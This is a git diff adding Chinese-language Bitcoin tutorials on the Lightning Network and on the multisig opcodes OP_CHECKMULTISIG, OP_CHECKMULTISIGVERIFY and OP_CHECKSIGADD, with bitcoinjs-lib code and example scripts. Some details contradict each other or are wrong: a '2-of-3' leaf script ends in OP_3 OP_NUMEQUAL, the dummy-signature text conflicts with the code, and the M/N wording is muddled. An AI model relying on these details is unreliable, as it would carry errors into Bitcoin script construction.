Binary files /dev/null and b/BTC/Advanced/Lighting Network/technical/imgs/route.png differ
diff --git a/BTC/Advanced/Lighting Network/technical/imgs/transfer.png b/BTC/Advanced/Lighting Network/technical/imgs/transfer.png
new file mode 100644
index 000000000..445ce7543
Binary files /dev/null and b/BTC/Advanced/Lighting Network/technical/imgs/transfer.png differ
diff --git a/BTC/Advanced/Lighting Network/technical/index.md b/BTC/Advanced/Lighting Network/technical/index.md
new file mode 100644
index 000000000..d3bca6900
--- /dev/null
+++ b/BTC/Advanced/Lighting Network/technical/index.md	
@@ -0,0 +1,75 @@
+闪电网络（Lightning Network，LN）是一种基于比特币区块链的**第二层支付协议**，旨在解决比特币主网的可扩展性和交易效率问题。它通过引入**支付通道**和**离线交易机制**，极大地减少了对链上交易的依赖，从而提升交易速度和降低成本。以下是闪电网络的主要技术原理。
+
+
+### 1. **支付通道的概念**
+
+支付通道是指两个用户之间创建的**链下交易**路径，允许双方在通道内多次转账，而无需每笔交易都记录在主链上。只在开通和关闭通道时需要链上交易，以确保资金安全。这种方式被称为“链下交易”，通过支付通道，双方可以在不影响区块链的情况下快速、安全地互相转账。
+
+- **开通通道**：用户 A 和用户 B 向一个多重签名地址存入比特币，该地址需要两方的签名才能支出资金。
+- **更新余额**：两方可以通过交换新的余额分配签名，来更新支付通道的余额，而不进行链上记录。
+- **关闭通道**：当用户希望关闭通道时，最后的余额分配会提交到链上，进行最终结算。
+
+
+![offchain transaction](./imgs/offchain.png)
+
+### 2. **哈希时间锁定合约（HTLC）**
+
+HTLC 是闪电网络中的关键技术，用于确保链下交易的安全性。它通过**哈希锁定和时间锁定**的组合，让资金只有在特定条件满足时才会被转移，从而防止一方在交易完成前恶意撤回资金。
+
+- **哈希锁定**：支付者生成一个随机数，并将其哈希值发送给接收者。接收者只有在知道该哈希值的原始输入时，才能解锁资金。
+- **时间锁定**：如果接收者未在指定时间内解锁资金，支付者可以撤销交易。这防止了接收者长时间不领取资金的情况。
+
+HTLC 使闪电网络能够跨越多个节点转账，从而形成**跨通道的支付路径**，实现了网络的互联。
+
+### 3. **路由支付**
+
+在闪电网络中，支付不需要直接的支付通道。即使没有直接的链下通道，用户也可以通过多个中介节点实现转账。闪电网络中的节点将自动寻找**最优路径**来完成支付，这一过程被称为路由。
+
+- **多跳支付**：通过多个节点传递支付，用户可以利用其他节点作为中转站发送资金。
+- **路径发现和路由选择**：闪电网络使用路由协议（如 Onion 路由）找到最佳路径，确保资金在最短路径内传输，并提高了交易隐私性。
+
+
+![route pay](./imgs/route.png)
+
+### 4. **即时交易与低费用**
+
+与比特币区块链的**确认时间**相比，闪电网络中的链下交易几乎是即时的，因为交易只需双方签名并在通道中达成一致。而且，闪电网络的交易费用通常较低，仅需支付通道的维护费用或微量的路由费用，这使得其适合处理**小额支付**和**高频支付**。
+
+### 5. **去中心化网络结构**
+
+闪电网络的设计是去中心化的，节点自由加入和退出，且不依赖于单一服务器或第三方。用户既可以选择与其他节点建立通道，也可以选择关闭通道。每个节点都可以自主设置路由费用，以激励更多节点参与进来，从而扩大网络的支付能力和覆盖范围。
+
+### 6. **链下结算和通道关闭**
+
+闪电网络中的所有链下交易都是基于承诺的状态更新协议。只有当通道关闭时，链下的最后交易状态才会记录在链上：
+
+- **双向承诺**：在链下交易的过程中，任何一方都可以选择关闭通道，最后的余额状态将提交到链上，并进行结算。
+- **惩罚机制**：如果一方试图在链上提交过期的余额分配，另一方可以提交最新的状态，没收对方的余额。这种机制保证了用户不会恶意提交无效交易。
+
+### 7. **闪电网络的优点和挑战**
+
+**优点**：
+- **扩展性**：通过链下交易和支付通道，大大减轻了区块链的负担。
+- **低费用**：只在开通、关闭通道时支付链上交易费用，其余链下交易几乎无费用。
+- **隐私性**：交易不直接记录在区块链上，增强了交易隐私性。
+- **实时交易**：链下交易几乎是即时完成的。
+
+**挑战**：
+- **通道流动性**：当通道内的资金耗尽时，需要重新注资或重新开通新通道。
+- **网络连通性**：尽管闪电网络允许通过多跳支付进行路由，但找到稳定的路径可能会变得复杂。
+- **脱机风险**：由于是链下交易，断开网络或节点意外退出可能会影响交易的正常进行。
+
+### 示例：使用闪电网络支付流程
+
+1. **Alice 和 Bob 开通支付通道**：Alice 和 Bob 创建一个多重签名地址，并将 5 BTC 存入其中。
+![open channel](./imgs/open.png)
+
+2. **支付流程**：Alice 想给 Charlie 支付 1 BTC。Alice 和 Charlie 没有直接的通道，但 Bob 与 Charlie 之间有一个通道。因此，Alice 可以通过 Bob 将这笔金额转给 Charlie。
+3. **HTLC 保护**：Alice 创建一个 HTLC，将 1 BTC 锁定到 Bob，要求 Charlie 提供随机数来解锁。Bob 通过 Charlie 完成支付。
+4. **支付完成**：Charlie 提供随机数，Bob 获得资金解锁权，并最终完成 Alice 到 Charlie 的支付。
+![transfer](./imgs/transfer.png)
+
+
+### 总结
+
+闪电网络通过支付通道和 HTLC 实现了离线链下交易，同时通过去中心化的路由机制保证了可扩展性和交易隐私。尽管其实现和配置稍显复杂，但闪电网络为比特币和其他区块链提供了一种有效的扩容解决方案，极大地提升了区块链的应用潜力。
\ No newline at end of file
diff --git a/BTC/Advanced/Multisign/OP_CHECKMULTISIG/README.md b/BTC/Advanced/Multisign/OP_CHECKMULTISIG/README.md
new file mode 100644
index 000000000..34f134ba9
--- /dev/null
+++ b/BTC/Advanced/Multisign/OP_CHECKMULTISIG/README.md
@@ -0,0 +1,245 @@
+## OP_CHECKMULTISIG
+
+`OP_CHECKMULTISIG` 是比特币脚本语言中的一个操作码（opcode），用于实现多重签名验证。在比特币交易中，`OP_CHECKMULTISIG` 允许指定多个公钥，并要求至少有一定数量（M）的签名来验证交易。此功能广泛应用于多重签名钱包和联合管理的比特币地址，旨在增强比特币网络的安全性和灵活性。
+
+### 背景
+
+1. **早期比特币设计**：
+   - 比特币最初设计主要关注点是点对点的单一用户交易。
+   - 简单的签名机制足以支持基本的比特币转账功能。
+
+2. **安全需求增加**：
+   - 随着比特币的普及，越来越多的用户和组织开始使用比特币。
+   - 对于大额资金或共享账户，单一签名的安全性不足以抵御潜在风险。
+
+3. **多重签名需求**：
+   - 多重签名（multisig）技术允许多个签名者共同管理一个比特币地址，提高了安全性。
+   - 特别适用于企业账户、家庭共享账户和其他需要联合管理的情境。
+
+### 具体的 BIP
+
+1. **BIP 11**：
+   - 标题：`M-of-N Standard Transactions`
+   - 提案作者：Gavin Andresen
+   - 提出时间：2012 年 3 月
+   - 内容：描述了多重签名交易的标准格式，即 M 个签名中的 N 个签名验证通过即可执行交易。
+
+2. **BIP 16**：
+   - 标题：`Pay to Script Hash`
+   - 提案作者：Gavin Andresen
+   - 提出时间：2012 年 1 月
+   - 内容：定义了支付到脚本哈希（P2SH）的机制，使得复杂的脚本可以更简洁地在链上表示，从而增强了多重签名的可用性。
+
+### 时间线
+
+1. **2011 年至 2012 年初**：
+   - 多重签名的需求逐渐显现，社区开始讨论如何实现更安全的交易机制。
+
+2. **2012 年 1 月**：
+   - Gavin Andresen 提出 BIP 16，描述了 P2SH 的机制，为多重签名交易的简化提供了基础。
+
+3. **2012 年 3 月**：
+   - Gavin Andresen 提出 BIP 11，明确了 M-of-N 多重签名交易的标准格式，具体描述了如何在比特币脚本中实现多重签名验证。
+
+4. **2012 年 5 月**：
+   - 比特币客户端（Bitcoin Core）集成了 P2SH 和多重签名功能，`OP_CHECKMULTISIG` 操作码开始被正式使用。
+
+### 关键人物
+
+1. **Gavin Andresen**：
+   - 比特币基金会的首席科学家，最早提出并推动了 P2SH 和多重签名交易的标准化。
+   - 他是 BIP 11 和 BIP 16 的主要作者，对 `OP_CHECKMULTISIG` 的引入和实施起到了关键作用。
+
+2. **比特币开发社区**：
+   - 包括许多开发者和贡献者，他们共同讨论、审查和改进了多重签名机制。
+   - 社区的参与和支持确保了这些改进提案的顺利实施和推广。
+
+### 工作原理
+
+`OP_CHECKMULTISIG` 的基本原理是检查一组公钥和签名，确认至少有 M 个签名是有效的。具体来说，这个操作码会验证堆栈上的公钥和签名，并确保至少有 M 个签名与对应的公钥匹配。
+
+### 操作步骤
+
+1. **堆栈输入**：
+    - 签名数量（N）
+    - N 个签名
+    - 公钥数量（M）
+    - M 个公钥
+
+2. **执行过程**：
+    - 从堆栈中弹出签名数量（N）。
+    - 弹出 N 个签名并存储。
+    - 弹出公钥数量（M）。
+    - 弹出 M 个公钥并存储。
+    - 验证至少有 M 个签名能匹配对应的公钥。
+    - 如果验证成功，脚本继续执行；否则，脚本失败。
+
+### 示例脚本
+
+假设我们有三个公钥，需要至少两个签名来验证交易，脚本如下：
+
+```
+2 <PubKey1> <PubKey2> <PubKey3> 3 OP_CHECKMULTISIG
+```
+
+在这个脚本中：
+- `2` 表示需要两个有效签名。
+- `<PubKey1> <PubKey2> <PubKey3>` 是三个公钥。
+- `3` 表示总共有三个公钥。
+- `OP_CHECKMULTISIG` 执行多重签名验证。
+
+### 例子详解
+
+假设 Alice、Bob 和 Charlie 共同管理一个地址，任何交易需要至少两人签名。我们生成一个多重签名地址，并创建一个 P2SH（Pay to Script Hash）交易。
+
+1. **创建多重签名地址**：
+
+   ```
+   2 <AlicePubKey> <BobPubKey> <CharliePubKey> 3 OP_CHECKMULTISIG
+   ```
+
+2. **生成 P2SH 地址**：
+   将上述脚本的哈希作为地址，这样可以简化交易脚本并提高安全性。
+
+3. **花费多重签名地址中的资金**：
+   - Alice 和 Bob 签名交易。
+   - 将签名和原始脚本放入输入脚本中：
+
+   ```
+   0 <AliceSignature> <BobSignature> 2 <AlicePubKey> <BobPubKey> <CharliePubKey> 3 OP_CHECKMULTISIG
+   ```
+
+### 注意事项
+
+- **漏洞**：早期版本的 `OP_CHECKMULTISIG` 有一个“off-by-one”漏洞，要求在签名数量前添加一个额外的 `OP_0`。
+- **效率**：验证签名和公钥需要计算资源，在高频交易场景中需要考虑其效率。
+
+## 链上交易
+### P2SH-P2MS
+链上交易：https://mempool.space/zh/tx/45f862a3c72b659406c38f606e2bcc73145241c3bf5c42ded4d4737af8d401ad
+```js
+// ScriptSig
+<empty>
+OP_0
+OP_PUSHBYTES_71 3044022018a750079fc75b68f5208f86b146821d5f3acb41f68195f8b4cbf1012cba2cbb02200c3ddd0dc271342f62222603356dd7c713cf387718e57ec2644f7811295d03ea01
+OP_PUSHBYTES_72 30450221009a5914969675238ddfb9c1475d2888b3a5a507c6d13c35ac13a6f97a5c3dec97022055587f56408ba7abdc48d637d3eb03a3c29f05d7c22df9a20fd4bea739a00b2601
+OP_PUSHDATA1 52210231d0ed51696dff4a25015f2a8330d07b81761eda22cae558da1086b5d084e1922102e142c9123d48ce4c0b32403b19403e41129f1d37de852d9bbc95165af6960e3b2102207620c770dc24eb02edc6fba51b70fd0c04a2772842d808188b835a8f73832853ae
+
+// P2SH redeem script
+OP_PUSHNUM_2
+OP_PUSHBYTES_33 0231d0ed51696dff4a25015f2a8330d07b81761eda22cae558da1086b5d084e192
+OP_PUSHBYTES_33 02e142c9123d48ce4c0b32403b19403e41129f1d37de852d9bbc95165af6960e3b
+OP_PUSHBYTES_33 02207620c770dc24eb02edc6fba51b70fd0c04a2772842d808188b835a8f738328
+OP_PUSHNUM_3
+OP_CHECKMULTISIG
+```
+
+### P2WSH-P2MS
+链上交易：https://mempool.space/zh/tx/a085e629f5932e729f54f174c936f015a10bb7935db66d5803e81dbff0ee15cc
+```js
+// Witness
+<empty>
+304402204f63983ae7cdb18fc3b75d4acc8e74d35816d4a8660d4296da4c0f6a0206fdd90220347e8317c686aa3785905eb1ff1cf32c4ce7ef019678fdd9ad00cfceedd74c2e01
+30440220055d4a41afa73ef449b18add7748b054eec768a8350c5095b4f622546eb55a3f022073cea484b99331cc8ae1ebf6b1698d07b560ad01ee63e3a4a739684a0408aec601
+52210279d1f38c1c80d47cb00ddbbe2915a60d5706e1ef66056a169150f083b288eb952102cb7d02b654f8616bfc5ab017b7a3ec9092e466381af0f552b7efcd8d920453672103c96d495bfdd5ba4145e3e046fee45e84a8a48ad05bd8dbb395c011a32cf9f88053ae
+
+// P2WSH witness script
+OP_PUSHNUM_2
+OP_PUSHBYTES_33 0279d1f38c1c80d47cb00ddbbe2915a60d5706e1ef66056a169150f083b288eb95
+OP_PUSHBYTES_33 02cb7d02b654f8616bfc5ab017b7a3ec9092e466381af0f552b7efcd8d92045367
+OP_PUSHBYTES_33 03c96d495bfdd5ba4145e3e046fee45e84a8a48ad05bd8dbb395c011a32cf9f880
+OP_PUSHNUM_3
+OP_CHECKMULTISIG
+```
+
+### P2TR-P2MS
+
+## 代码示例
+
+完整的示例可以在[bitcoinjs-lib](https://github.com/bitcoinjs/bitcoinjs-lib/)里找到，这里逐步拆解分析。
+
+### P2SH-P2MS
+
+示例代码参考[bitcoinjs-lib](https://github.com/bitcoinjs/bitcoinjs-lib/blob/master/test/integration/transactions.spec.ts#L204-L250)。
+
+
+1. **构建锁定脚本**：
+  以上面的示例脚本为例：
+
+  ```javascript
+  2 <AlicePubKey> <BobPubKey> <CharliePubKey> 3 OP_CHECKMULTISIG
+
+  const output = bscript.compile(
+    ([] as Stack).concat(
+      OP_INT_BASE + a.m,
+      a.pubkeys,
+      OP_INT_BASE + o.n,
+      OPS.OP_CHECKMULTISIG,
+    )
+  );
+
+  // 其中
+  m = 2;
+  pubkeys = [<AlicePubKey>, <BobPubKey>, <CharliePubKey>];
+  n = 3;
+  ```
+
+2. **签名过程**：
+
+  ```javascript
+  const multisig = createPayment('p2sh-p2ms(2 of 4)');
+  const inputData1 = await getInputData(2e4, multisig.payment, false, 'p2sh');
+
+  const psbt = new bitcoin.Psbt({ network: regtest })
+    .addInput(inputData1)
+    .addOutput({
+      address: regtestUtils.RANDOM_ADDRESS,
+      value: 1e4,
+    })
+    .signInput(0, multisig.keys[0])
+    .signInput(0, multisig.keys[2]);
+  ```
+
+  签名之后会得到签名信息，多签对应多个元素的签名数组：
+
+  ```javascript
+  const partialSig = [
+    {
+      pubkey: AlicePubKey,
+      signature: bscript.signature.encode(Alice.sign(hash), sighashType),
+    },
+    {
+      pubkey: BobPubKey,
+      signature: bscript.signature.encode(Bob.sign(hash), sighashType),
+    },
+  ];
+  ```
+
+3. **排序签名**：
+
+  ```javascript
+  function getSortedSigs(script: Buffer, partialSig: PartialSig[]): Buffer[] {
+    const p2ms = payments.p2ms({ output: script });
+    // for each pubkey in order of p2ms script
+    return p2ms
+      .pubkeys!.map(pk => {
+        // filter partialSig array by pubkey being equal
+        return (
+          partialSig.filter(ps => {
+            return ps.pubkey.equals(pk);
+          })[0] || {}
+        ).signature;
+        // Any pubkey without a match will return undefined
+        // this last filter removes all the undefined items in the array.
+      })
+      .filter(v => !!v);
+  }
+  ```
+
+4. **构建解锁脚本**：
+
+  ```javascript
+  bscript.compile(([OPS.OP_0] as Stack).concat(a.signatures))
+  ```
+
+  
\ No newline at end of file
diff --git a/BTC/Advanced/Multisign/OP_CHECKMULTISIGVERIFY/README.md b/BTC/Advanced/Multisign/OP_CHECKMULTISIGVERIFY/README.md
new file mode 100644
index 000000000..c3a6ac404
--- /dev/null
+++ b/BTC/Advanced/Multisign/OP_CHECKMULTISIGVERIFY/README.md
@@ -0,0 +1,48 @@
+## OP_CHECKMULTISIGVERIFY
+
+`OP_CHECKMULTISIGVERIFY` 并没有通过单独的 BIP 提出，但其背景和实现与 BIP 16 的提出密切相关。BIP 16 提出了支付到脚本哈希（P2SH）的机制，使得复杂的脚本可以更简洁地在链上表示，并且增强了多重签名的可用性。
+
+### 详细背景
+
+#### BIP 16 提出
+
+1. **BIP 16**：
+   - 标题：`Pay to Script Hash`
+   - 提案作者：Gavin Andresen
+   - 提出时间：2012 年 1 月
+   - 内容：定义了支付到脚本哈希（P2SH）的机制。P2SH 允许复杂的脚本在链上以更简洁的形式表示，并在解锁时提供完整的脚本内容。这极大地简化了多重签名等复杂交易的实现。
+
+#### OP_CHECKMULTISIGVERIFY 的引入
+
+在 BIP 16 提出并实现后，比特币开发社区继续寻找优化和简化脚本的方法。`OP_CHECKMULTISIGVERIFY` 作为 `OP_CHECKMULTISIG` 和 `OP_VERIFY` 的组合，自然而然地被引入，以简化多重签名验证的脚本编写和执行过程。
+
+### OP_CHECKMULTISIGVERIFY 的工作原理
+
+`OP_CHECKMULTISIGVERIFY` 结合了 `OP_CHECKMULTISIG` 和 `OP_VERIFY` 的功能。其主要目的是在验证多重签名后，立即判断验证结果并返回执行状态。
+
+脚本构建和签名过程可以参考[OP_CHECKMULTISIG](../OP_CHECKMULTISIG/README.md)，这里不再赘述。
+
+### 具体案例
+在babylon业务中，会把用户的资产质押到一个Taproot地址里。根据官方披露的三条解锁路径都需要OP_CHECKSIGVERIFY来验证签名然后执行后续逻辑
+1. 时间锁路径，质押者到期可以赎回
+```js
+<Staker_PK> OP_CHECKSIGVERIFY  <Timelock_Blocks> OP_CHECKSEQUENCEVERIFY
+```
+
+2. 解绑路径，质押者提前赎回
+```
+<StakerPk> OP_CHECKSIGVERIFY
+<CovenantPk1> OP_CHECKSIG 
+<CovenantPk1> OP_CHECKSIGADD ... <CovenantPkN> OP_CHECKSIGADD
+<CovenantThreshold> OP_GREATERTHANOREQUAL
+```
+
+3. 质押者作恶，惩罚路径
+```js
+<StakerPk> OP_CHECKSIGVERIFY
+<FinalityProviderPk> OP_CHECKSIGVERIFY
+<CovenantPk1> OP_CHECKSIG <CovenantPk1> OP_CHECKSIGADD ... <CovenantPkN> OP_CHECKSIGADD
+<CovenantThreshold> OP_GREATERTHANOREQUAL
+```
+
+相关交易可以查看：https://mempool.space/zh/signet/tx/ceb126550481ecb69b45929b2b5869fd3975a707e6100b368d6cc15e4434ad9d
\ No newline at end of file
diff --git a/BTC/Advanced/Multisign/OP_CHECKSIGADD/README.md b/BTC/Advanced/Multisign/OP_CHECKSIGADD/README.md
new file mode 100644
index 000000000..015ad3420
--- /dev/null
+++ b/BTC/Advanced/Multisign/OP_CHECKSIGADD/README.md
@@ -0,0 +1,246 @@
+## OP_CHECKSIGADD
+`OP_CHECKSIGADD` 是比特币脚本语言中的一个操作码（opcode），其引入主要目的是为了优化和简化多重签名验证过程。它在 Taproot 和 Schnorr 签名方案中扮演了重要角色，允许更高效地实现多重签名和复杂交易。
+
+### BIP 提出的背景
+
+`OP_CHECKSIGADD` 的引入是为了配合 Taproot 和 Schnorr 签名的实现，这两个方案显著优化了比特币的签名机制，提高了隐私性和效率。
+
+#### 具体的 BIP
+1. **BIP 340**：
+  - 标题：`Schnorr Signatures for secp256k1`
+  - 提案作者：Pieter Wuille, Jonas Nick, Tim Ruffing
+  - 提出时间：2020 年 1 月
+  - 内容：介绍了 Schnorr 签名算法，为比特币带来了更简洁的签名和更高的验证效率。
+
+2. **BIP 341**：
+  - 标题：`Taproot: SegWit version 1 spending rules`
+  - 提案作者：Pieter Wuille, Jonas Nick, Anthony Towns
+  - 提出时间：2020 年 1 月
+  - 内容：定义了 Taproot 升级，引入了一种新的输出类型，使得复杂的交易更加高效和隐私。
+
+3. **BIP 342**：
+  - 标题：`Validation of Taproot Scripts`
+  - 提案作者：Pieter Wuille
+  - 提出时间：2020 年 1 月
+  - 内容：引入了 `OP_CHECKSIGADD` 操作码，用于在 Taproot 中实现更高效的多重签名验证。
+
+### 关键人物
+
+1. **Pieter Wuille**：
+   - 比特币核心开发者，BIP 340、BIP 341 和 BIP 342 的主要作者，对 Taproot 和 Schnorr 签名的引入和实施起到了关键作用。
+
+2. **Jonas Nick**：
+   - 比特币核心开发者，参与了 Schnorr 签名和 Taproot 的研究和开发。
+
+3. **Tim Ruffing**：
+   - 密码学研究者，参与了 Schnorr 签名和多重签名方案的研究和开发。
+
+4. **Anthony Towns**：
+   - 比特币核心开发者，参与了 Taproot 的设计和实现。
+
+### 激活过程
+为了激活 Taproot 升级，比特币网络采用了一种称为“Speedy Trial”的激活机制。这种机制允许矿工通过在区块中设置特定的标志位（version bits）来表示他们对 Taproot 升级的支持。
+
+- **信号期**：矿工在每个区块中设置信号位，表示对 Taproot 升级的支持。
+- **激活门槛**：在一个难度调整周期（2016 个区块）内，需要至少 90% 的区块（即 1815 个区块）设置信号位，以表示对升级的支持。
+- **锁定期**：如果在一个信号期内达到了激活门槛，Taproot 升级会进入“锁定期”（lock-in period），再经过一个难度调整周期后，升级正式生效。
+
+#### 5. 正式激活
+
+Taproot 升级在 2021 年 6 月达到了激活门槛，随后在 2021 年 11 月正式激活。从这个时间点开始，`OP_CHECKSIGADD` 和其他相关的新功能在比特币网络上正式生效。
+
+### 关键时间点
+
+- **2020 年 1 月**：BIP 340、BIP 341 和 BIP 342 提出。
+- **2021 年 6 月**：Taproot 升级达到了激活门槛。
+- **2021 年 11 月 14 日**：Taproot 升级正式激活。
+
+### 工作原理
+
+`OP_CHECKSIGADD` 操作码的主要功能是验证单个签名并将结果（0 或 1）与现有的累计值相加。这在构建多重签名验证时尤其有用，因为它允许逐步累积签名验证的结果，然后在最后进行总和检查。
+
+#### 操作步骤
+
+1. 从堆栈中弹出一个公钥。
+2. 从堆栈中弹出一个签名。
+3. 从堆栈中弹出一个累计值。
+4. 验证公钥和签名：
+   - 如果签名有效，返回 1；否则返回 0。
+5. 将验证结果与累计值相加。
+6. 将新的累计值压回堆栈。
+
+### 示例脚本
+
+假设我们有三个公钥和三个对应的签名，我们希望验证至少两个签名，脚本如下：
+
+```
+<sig1> <sig2> <sig3> <0> <pubKey1> OP_CHECKSIGADD <pubKey2> OP_CHECKSIGADD <pubKey3> OP_CHECKSIGADD <2> OP_EQUAL
+```
+
+在这个脚本中：
+- `<sig1> <sig2> <sig3>` 是签名。
+- `<0>` 是初始累计值。
+- `<pubKey1> <pubKey2> <pubKey3>` 是公钥。
+- `OP_CHECKSIGADD` 执行单个签名验证并累加结果。
+- `<2> OP_EQUAL` 检查累加值是否等于 2。
+
+
+`OP_CHECKSIGADD` 是比特币脚本语言中用于优化多重签名验证的新操作码。它简化了多重签名的实现，使得复杂交易更加高效。它的引入与 BIP 340、BIP 341 和 BIP 342 紧密相关，标志着比特币在隐私性和效率方面的显著提升。通过 `OP_CHECKSIGADD`，比特币能够更灵活地实现多重签名验证，同时保持较高的安全性和性能。
+
+### 案例
+这里以上面示例中taproot script-path脚本中的2-3多签为例
+
+1. 随机生成internal public key和三份多签用户的私钥
+```js
+const internalKey = bip32.fromSeed(rng(64), regtest);
+
+const leafKeys = [];
+const leafPubkeys = [];
+for (let i = 0; i < 3; i++) {
+  const leafKey = bip32.fromSeed(rng(64), regtest);
+  leafKeys.push(leafKey);
+  leafPubkeys.push(toXOnly(leafKey.publicKey).toString('hex'));
+}
+```
+
+2. 构造锁定脚本
+```js
+ const leafScriptAsm = `${leafPubkeys[2]} OP_CHECKSIG ${leafPubkeys[1]} OP_CHECKSIGADD ${leafPubkeys[0]} OP_CHECKSIGADD OP_3 OP_NUMEQUAL`;
+```
+
+3. 构造MAST
+```js
+const leafScript = bitcoin.script.fromASM(leafScriptAsm);
+
+const scriptTree: Taptree = [
+  {
+    output: bitcoin.script.fromASM(
+      '50929b74c1a04954b78b4b6035e97a5e078a5a0f28ec96d547bfee9ace803ac0 OP_CHECKSIG',
+    ),
+  },
+  [
+    {
+      output: bitcoin.script.fromASM(
+        '50929b74c1a04954b78b4b6035e97a5e078a5a0f28ec96d547bfee9ace803ac0 OP_CHECKSIG',
+      ),
+    },
+    {
+      output: leafScript,
+    },
+  ],
+];
+const redeem = {
+  output: leafScript,
+  redeemVersion: LEAF_VERSION_TAPSCRIPT,
+};
+
+const { output, address, witness } = bitcoin.payments.p2tr({
+  internalPubkey: toXOnly(internalKey.publicKey),
+  scriptTree,
+  redeem,
+  network: regtest,
+});
+```
+
+4. 构造PSBT交易
+```js
+// amount from faucet
+const amount = 42e4;
+// amount to send
+const sendAmount = amount - 1e4;
+// get faucet
+const unspent = await regtestUtils.faucetComplex(wallet.output, amount);
+
+const psbt = new bitcoin.Psbt({ network: regtest });
+
+// Adding an input is a bit special in this case,
+// So we contain it in the wallet class
+// Any wallet can do this, wallet2 or wallet3 could be used.
+wallet.addInput(psbt, unspent.txId, unspent.vout, unspent.value);
+
+psbt.addOutput({ value: sendAmount, address: wallet.address });
+
+```
+
+5. 签名交易
+```js
+// Sign with at least 2 of the 3 wallets.
+// Verify that there is a matching leaf script
+// (which includes the unspendable internalPubkey,
+// so we verify that no one can key-spend it)
+wallet3.verifyInputScript(psbt, 0);
+wallet2.verifyInputScript(psbt, 0);
+psbt.signInput(0, wallet3);
+psbt.signInput(0, wallet2);
+
+// Before finalizing, we need to add dummy signatures for all that did not sign.
+// Any wallet can do this, wallet2 or wallet3 could be used.
+wallet.addDummySigs(psbt);
+
+// its just used to add dummy signature that have an empty Buffer
+addDummySigs(psbt: bitcoin.Psbt) {
+  const leafHash = tapleafHash({
+    output: this.leafScript,
+    version: this.leafVersion,
+  });
+  for (const input of psbt.data.inputs) {
+    if (!input.tapScriptSig) continue;
+    const signedPubkeys = input.tapScriptSig
+      .filter(ts => ts.leafHash.equals(leafHash))
+      .map(ts => ts.pubkey);
+    for (const pubkey of this.pubkeys) {
+      if (signedPubkeys.some(sPub => sPub.equals(pubkey))) continue;
+      // Before finalizing, every key that did not sign must have an empty signature
+      // in place where their signature would be.
+      // In order to do this currently we need to construct a dummy signature manually.
+      input.tapScriptSig.push({
+        // This can be reused for each dummy signature
+        leafHash,
+        // This is the pubkey that didn't sign
+        pubkey,
+        // This must be an empty Buffer.
+        signature: Buffer.from([]),
+      });
+    }
+  }
+}
+```
+这里需要注意
+OP_CHECKSIGADD需要**完整的三个签名**，我们需要对未签名的公钥补一个无效签名，即一个字节的0x00
+
+6. 提取广播
+```js
+psbt.finalizeAllInputs();
+const tx = psbt.extractTransaction();
+const rawTx = tx.toBuffer();
+const hex = rawTx.toString('hex');
+
+await regtestUtils.broadcast(hex);
+```
+
+OP_CHECKSIGADD交易示例，这笔交易里还同时包含了OP_CHECKSIG和OP_CHECKSIGVERIFY：https://mempool.space/zh/signet/tx/ceb126550481ecb69b45929b2b5869fd3975a707e6100b368d6cc15e4434ad9d
+
+```js
+OP_PUSHBYTES_32 9d65bad2d86e26bf1a907077312b849f89e5109a8574087a34953252af63940c
+OP_CHECKSIGVERIFY
+OP_PUSHBYTES_32 113c3a32a9d320b72190a04a020a0db3976ef36972673258e9a38a364f3dc3b0
+OP_CHECKSIG
+OP_PUSHBYTES_32 17921cf156ccb4e73d428f996ed11b245313e37e27c978ac4d2cc21eca4672e4
+OP_CHECKSIGADD
+OP_PUSHBYTES_32 3bb93dfc8b61887d771f3630e9a63e97cbafcfcc78556a474df83a31a0ef899c
+OP_CHECKSIGADD
+OP_PUSHBYTES_32 40afaf47c4ffa56de86410d8e47baa2bb6f04b604f4ea24323737ddc3fe092df
+OP_CHECKSIGADD
+OP_PUSHBYTES_32 49766ccd9e3cd94343e2040474a77fb37cdfd30530d05f9f1e96ae1e2102c86e
+OP_CHECKSIGADD
+OP_PUSHBYTES_32 76d1ae01f8fb6bf30108731c884cddcf57ef6eef2d9d9559e130894e0e40c62c
+OP_CHECKSIGADD
+OP_PUSHBYTES_32 79a71ffd71c503ef2e2f91bccfc8fcda7946f4653cef0d9f3dde20795ef3b9f0
+OP_CHECKSIGADD
+OP_PUSHBYTES_32 d21faf78c6751a0d38e6bd8028b907ff07e9a869a43fc837d6b3f8dff6119a36
+OP_CHECKSIGADD
+OP_PUSHBYTES_32 f5199efae3f28bb82476163a7e458c7ad445d9bffb0682d10d3bdb2cb41f8e8e
+OP_CHECKSIGADD
+OP_PUSHNUM_6
+OP_NUMEQUAL
+```
\ No newline at end of file
diff --git a/BTC/Advanced/Multisign/README-EN.md b/BTC/Advanced/Multisign/README-EN.md
new file mode 100644
index 000000000..9bf43ee65
--- /dev/null
+++ b/BTC/Advanced/Multisign/README-EN.md
@@ -0,0 +1,103 @@
+# Multi-Signature Introduction
+
+## Overview
+In the Bitcoin (BTC) network, Multi-Signature (Multi-Sig) is a security enhancement technology that requires multiple keys to sign to execute a transaction. Specifically, the multi-sig mechanism allows users to create a wallet address where funds can only be used when certain signature conditions are met. Multi-signature technology can be used to enhance security, implement distributed control, and manage funds.
+
+### How Multi-Signature Works
+1. **Creating Multi-sig Address**:
+   - Multi-sig addresses are typically generated from multiple participants' public keys.
+   - For example, a 2-of-3 multi-sig address means it requires three public keys, and at least two corresponding private keys to sign transactions.
+
+2. **Constructing Transactions**:
+   - When using bitcoins in a multi-sig address, a transaction containing all necessary signatures must be constructed.
+   - For example, for a 2-of-3 multi-sig address, signatures from at least two participants are required to execute the transaction.
+
+3. **Broadcasting Transactions**:
+   - Fully signed transactions can be broadcast to the Bitcoin network for verification and packaging by miners.
+
+### Multi-Signature Use Cases
+1. **Enhanced Security**:
+   - Theft of a single private key cannot transfer funds; multiple private keys must be stolen simultaneously for malicious transactions.
+   
+2. **Distributed Control**:
+   - Can be used for joint fund control, such as multi-party management of company funds, preventing single-person abuse.
+   
+3. **Smart Contracts and DApps**:
+   - Multi-signatures can serve as simple smart contract mechanisms, supporting more complex transaction conditions and logic.
+
+### Example
+A simple 2-of-3 multi-sig transaction process might look like this:
+1. Generate three key pairs (User A, User B, User C).
+2. Create a 2-of-3 multi-sig address using the three public keys.
+3. Transfer bitcoins to this multi-sig address.
+4. When needing to transfer bitcoins, Users A and B (or A and C, or B and C) jointly sign the transaction.
+5. Broadcast the transaction to the network and wait for confirmation.
+
+## Multi-Signature OPCodes
+In the Bitcoin network, multi-signature allows enhanced security and flexibility by requiring multiple signatures for transaction execution. Bitcoin Script provides several key operation codes (OPCodes) to implement multi-signatures. Here are the main multi-signature-related OPCodes and their functions:
+
+### Main Multi-Signature OPCodes
+
+1. **OP_CHECKMULTISIG**
+   - **Function**: Verifies multi-signature transactions.
